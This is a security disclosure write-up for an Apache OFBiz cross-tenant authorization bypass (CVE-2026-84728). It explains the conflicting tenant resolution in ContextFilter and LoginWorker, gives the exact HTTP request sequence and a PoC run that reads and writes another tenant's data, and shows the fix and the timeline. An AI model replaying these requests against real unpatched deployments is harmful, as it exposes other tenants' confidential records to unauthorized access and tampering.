CVE-2026-84728: Apache OFBiz Cross-Tenant Authorization Bypass in Mapped-Domain Login
TL;DR
- A low-privilege account in one OFBiz tenant could read and write data belonging to another tenant.
ContextFilterchose the tenant from the hostname.LoginWorkerpreferred the caller-supplieduserTenantIdparameter.- Logging in to tenant A's hostname with tenant B's ID authenticated the user against B and left the request bound to A.
- The next request read and wrote A's database. Permission checks used B. I demonstrated Party data disclosure and a cross-tenant
ProductAssocwrite. - CVE-2026-84728 affects Apache OFBiz before 24.09.08 and is fixed in 24.09.08, which makes both components agree on the hostname.
Summary
- CVE: CVE-2026-84728
- Product: Apache OFBiz (Java ERP suite)
- Vulnerability: Cross-Tenant Authorization Bypass via Conflicting Tenant Resolution
- Affected Versions: < 24.09.08
- Fixed In: 24.09.08
- Severity: Important (per Apache)
- CVSS Severity: 5.4 (medium, CISA-ADP)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
- Required Privilege: A low-privilege account in any tenant, holding the manager permission for the operation being reached (for example
PARTYMGR_VIEWto read parties) - Advisory: Apache OFBiz CVE Announcements
- Reported: August 2, 2026
- NVD Published: November 5, 2026
Introduction
OFBiz multitenancy gives each tenant its own database behind one running application. A request is pointed at the right one by hostname, through a TenantDomainName lookup, and everything downstream follows from that.
LoginWorker resolves the tenant again during login and gives the same inputs the opposite priority.
Root Cause Analysis
The excerpts below are from the tested release24.09 snapshot at commit b5ca713e.
Two Components, Two Orders
ContextFilter runs first and resolves the tenant from the hostname.
// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ContextFilter.java
GenericValue tenantDomainName = EntityQuery.use(baseDelegator).from("TenantDomainName").where("domainName", serverName).queryOne();
String tenantId = null;
if (UtilValidate.isNotEmpty(tenantDomainName)) {
tenantId = tenantDomainName.getString("tenantId"); // [1] Hostname wins.
}
if (UtilValidate.isEmpty(tenantId)) {
tenantId = (String) httpRequest.getAttribute("userTenantId");
}
if (UtilValidate.isEmpty(tenantId)) {
tenantId = httpRequest.getParameter("userTenantId"); // [2] Parameter fallback.
}
In ContextFilter, [1] wins on a hostname mapped to tenant A and [2] never runs. The filter then builds A's delegator, dispatcher and security objects and publishes the resolved tenant as a request attribute.
// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ContextFilter.java
request.setAttribute("delegator", delegator);
request.setAttribute("dispatcher", dispatcher);
request.setAttribute("security", security);
request.setAttribute("userTenantId", tenantId); // [3] Published tenant attribute.
[3] stores the hostname-derived tenant as a request attribute. LoginWorker then resolves the tenant again using the opposite priority.
// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java
String tenantId = request.getParameter("userTenantId"); // [4] Parameter wins.
if (UtilValidate.isEmpty(tenantId)) {
tenantId = (String) request.getAttribute("userTenantId"); // [5] Attribute used only as fallback.
}
In LoginWorker, [4] is a form field, so an attacker posting userTenantId=B to tenant A's hostname never reaches [5]. Login proceeds against B, valid B credentials succeed, and OFBiz stores B's delegator name, dispatcher, security object and userLogin in the session.
userTenantId must name the attacker's tenant.
The Next Request Only Half Switches Back
The attacker now sends an ordinary request to the same hostname, with no tenant selector at all. ContextFilter resolves A again and overwrites session.delegatorName. The session retains B's dispatcher, security object and userLogin. ControlServlet then assembles the request from both.
// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ControlServlet.java
Delegator delegator = null;
String delegatorName = (String) session.getAttribute("delegatorName");
if (UtilValidate.isNotEmpty(delegatorName)) {
delegator = DelegatorFactory.getDelegator(delegatorName); // [6] Tenant A delegator.
}
// ... null fallbacks omitted; they only matter when no session value exists.
LocalDispatcher dispatcher = (LocalDispatcher) session.getAttribute("dispatcher"); // [7] Tenant B dispatcher.
// ... null fallback omitted.
request.setAttribute("dispatcher", dispatcher);
Security security = (Security) session.getAttribute("security"); // [8] Tenant B security.
// ... null fallback omitted.
request.setAttribute("security", security);
In ControlServlet, the delegator at [6] is rebuilt from a name the filter refreshed, so it follows the hostname to A. The dispatcher at [7] and the security object at [8] are taken from the session, which nobody refreshed, so they stay on B.
SecurityFactory caches security implementations per delegator name, and ServiceContainer keys tenant dispatchers separately, because each holds a delegator reference. The request that comes out of this has delegator=A, dispatcher=B, security=B and userLogin=B.
Permission Checked in One Tenant, Data Touched in Another
Controller authentication calls LoginWorker.checkLogout. It reads the session userLogin and checks base permissions through the request security object, both of them B's. A B user with Party Manager view rights passes.
Afterwards the screen uses the request delegator. Party Manager's listLoggedInUsers grid runs a direct Visit entity query for userLoginId, partyId and clientIpAddress, and that query goes to A. The viewprofile decorator loads Party, Person and PartyGroup from A. Its permission conditions dispatch through B.
The write side behaves the same way. ProductEvents.updateProductAssoc obtains the request delegator and security object separately, requires CATALOG_CREATE through B's security object, then validates both product IDs and persists the new ProductAssoc through A's delegator.
Impact
A low-privilege account in one tenant reaches another tenant's data, provided that tenant has a hostname mapped through TenantDomainName. The attacker can use any victim-tenant operation for which their own tenant grants the matching manager permission. Read access needs the relevant VIEW permission. The demonstrated write needed CATALOG_CREATE. The attacker authenticates only to their own tenant and gets the victim tenant from the hostname mapping.
I demonstrated reads with an account holding only OFBTOOLS_VIEW and PARTYMGR_VIEW, recovering tenant A's active usernames, Party IDs and client IP addresses, then a full Party profile for a disclosed ID. A separate B account holding OFBTOOLS_VIEW, CATALOG_VIEW and CATALOG_CREATE created a ProductAssoc between two tenant A products, so writes are in scope too.
Exploitation
Preconditions
- Apache OFBiz before 24.09.08 with
multitenant=Yand at least two configured tenants. - A hostname mapped through
TenantDomainNameto the victim tenant. - A valid low-privilege account in any other tenant. For reads,
OFBTOOLS_VIEWandPARTYMGR_VIEW. For writes,OFBTOOLS_VIEWandCATALOG_VIEWto reach Catalog Manager, plus the permission the target handler checks,CATALOG_CREATEfor the demonstratedProductAssocwrite.
Request Sequence
Three requests, and only the middle one carries anything unusual.
GET /partymgr/control/main HTTP/1.1
Host: tenant-a.example
POST /partymgr/control/login HTTP/1.1
Host: tenant-a.example
Content-Type: application/x-www-form-urlencoded
USERNAME=b-reader&PASSWORD=B_PASSWORD&JavaScriptEnabled=N&userTenantId=TENANTB
GET /partymgr/control/listLoggedInUsers HTTP/1.1
Host: tenant-a.example
Cookie: JSESSIONID=...
The login uses tenant B and the Host header names tenant A. The third request omits userTenantId, leaving the mixed session state in place.
Swapping /partymgr for /catalog in the first two and then posting the following produces the write.
POST /catalog/control/quickAdminUpdateProductAssoc HTTP/1.1
Host: tenant-a.example
Cookie: JSESSIONID=...
Content-Type: application/x-www-form-urlencoded
UPDATE_MODE=CREATE&PRODUCT_ID=A_PRODUCT_1&PRODUCT_ID_TO=A_PRODUCT_2&PRODUCT_ASSOC_TYPE_ID=ALSO_BOUGHT&REASON=CROSS_TENANT_TEST
PoC
The PoC logs in with the attacker tenant's ID against the victim's mapped host, then reads the victim tenant's active-user grid and an optional Party profile. The --write variant repeats the login against /catalog and creates a ProductAssoc.
Here, localhost mapped to TENANTA. tenantb-reader existed only in TENANTB and held OFBTOOLS_VIEW and PARTYMGR_VIEW.
python3 cve_2026_84728.py https://localhost:19443 tenantb-reader 'B_PASSWORD' TENANTB --party-id TENANT_A_SECRET
___ _____ ____ ___ _____
/ _ \| ___| __ )_ _|__ /
| | | | |_ | _ \| | / /
| |_| | _| | |_) | | / /_
\___/|_| |____/___/____|
cross-tenant authorization bypass · CVE-2026-84728
discovered by CryptoCat · cryptocat.me
[*] Victim host: https://localhost:19443
[+] host maps to victim tenant TENANTA, logging in as tenant TENANTB
[+] authenticated as tenantb-reader from tenant TENANTB
[+] recovered 1 victim-tenant active-user record(s)
[+] recovered a victim-tenant Party profile under attacker-tenant authorisation
------------------------------------------------------------
{
"target": "https://localhost:19443",
"mappedVictimTenantId": "TENANTA",
"authenticatedUser": "tenantb-reader",
"credentialTenantId": "TENANTB",
"loggedInUsers": [
{
"userLoginId": "tenant-a-victim",
"partyId": "TENANT_A_SECRET",
"clientIpAddress": "172.19.0.1"
}
],
"profile": {
"partyId": "TENANT_A_SECRET",
"title": "CONFIDENTIAL TENANT A STRATEGY [TENANT_A_SECRET]"
}
}
Demo
Party Manager renders the victim tenant's profile, CONFIDENTIAL TENANT A STRATEGY, on tenant A's hostname. The account menu still shows the signed-in user as tenantb-reader.

Patch Diffing
The fix, 61d67c3b28, makes LoginWorker use the same priority order as ContextFilter. The commit is an ancestor of the final 24.09.08 release tag.
// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java (checkLogin)
String tenantId = request.getParameter("userTenantId");
-if (UtilValidate.isEmpty(tenantId)) {
- tenantId = (String) request.getAttribute("userTenantId");
+// ... explanatory security comment omitted.
+String requestTenantId = (String) request.getAttribute("userTenantId");
+if (UtilValidate.isNotEmpty(requestTenantId)) {
+ tenantId = requestTenantId;
}
The request attribute is what ContextFilter wrote after resolving the hostname, so it is now authoritative and the form field applies only where the filter reached no conclusion.
The second change stops a session surviving the mismatch at all.
// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ContextFilter.java (doFilter)
if (UtilValidate.isNotEmpty(tenantId)) {
+ // ... explanatory security comment omitted.
+ HttpSession existingSession = httpRequest.getSession(false);
+ if (existingSession != null) {
+ String existingDelegatorName = (String) existingSession.getAttribute("delegatorName");
+ if (UtilValidate.isNotEmpty(existingDelegatorName)) {
+ int hashIndex = existingDelegatorName.indexOf('#');
+ String existingTenantId =
+ hashIndex > 0 ? existingDelegatorName.substring(hashIndex + 1).trim() : null;
+ if (existingTenantId != null && !tenantId.equals(existingTenantId)) {
+ Debug.logWarning("Tenant context mismatch: the session is bound to a"
+ + " different tenant than the one resolved for this request."
+ + " Invalidating the session so a clean per-tenant context is"
+ + " rebuilt on the next request.", MODULE);
+ existingSession.invalidate();
+ }
+ }
+ }
A session already bound to one tenant is now destroyed when it arrives on a hostname that resolves to another. This invalidates mismatched sessions regardless of how they were created.
Remediation
Upgrade to Apache OFBiz 24.09.08 or later.
Deployments not using multitenancy are unaffected. In multitenant deployments, this route requires a victim tenant exposed through a TenantDomainName mapping. A tenant reachable only through a tenant selector is not affected by this route.
Disclosure Timeline
- August 2, 2026: Reported to the Apache OFBiz security team.
- September 2, 2026: Apache committed the fix, assigned CVE-2026-84728 and shared the draft advisory.
- November 3, 2026: Apache announced OFBiz 24.09.08, the first released version containing the fix.
- November 4, 2026: Apache publicly announced CVE-2026-84728 in its consolidated OFBiz CVE notice.
- November 5, 2026: CVE.org and NVD published CVE-2026-84728.
Conclusion
OFBiz resolves tenant context in both ContextFilter and LoginWorker to support shared and dedicated login hosts. Their priority rules disagreed. The session retained objects from one tenant after the delegator switched to another.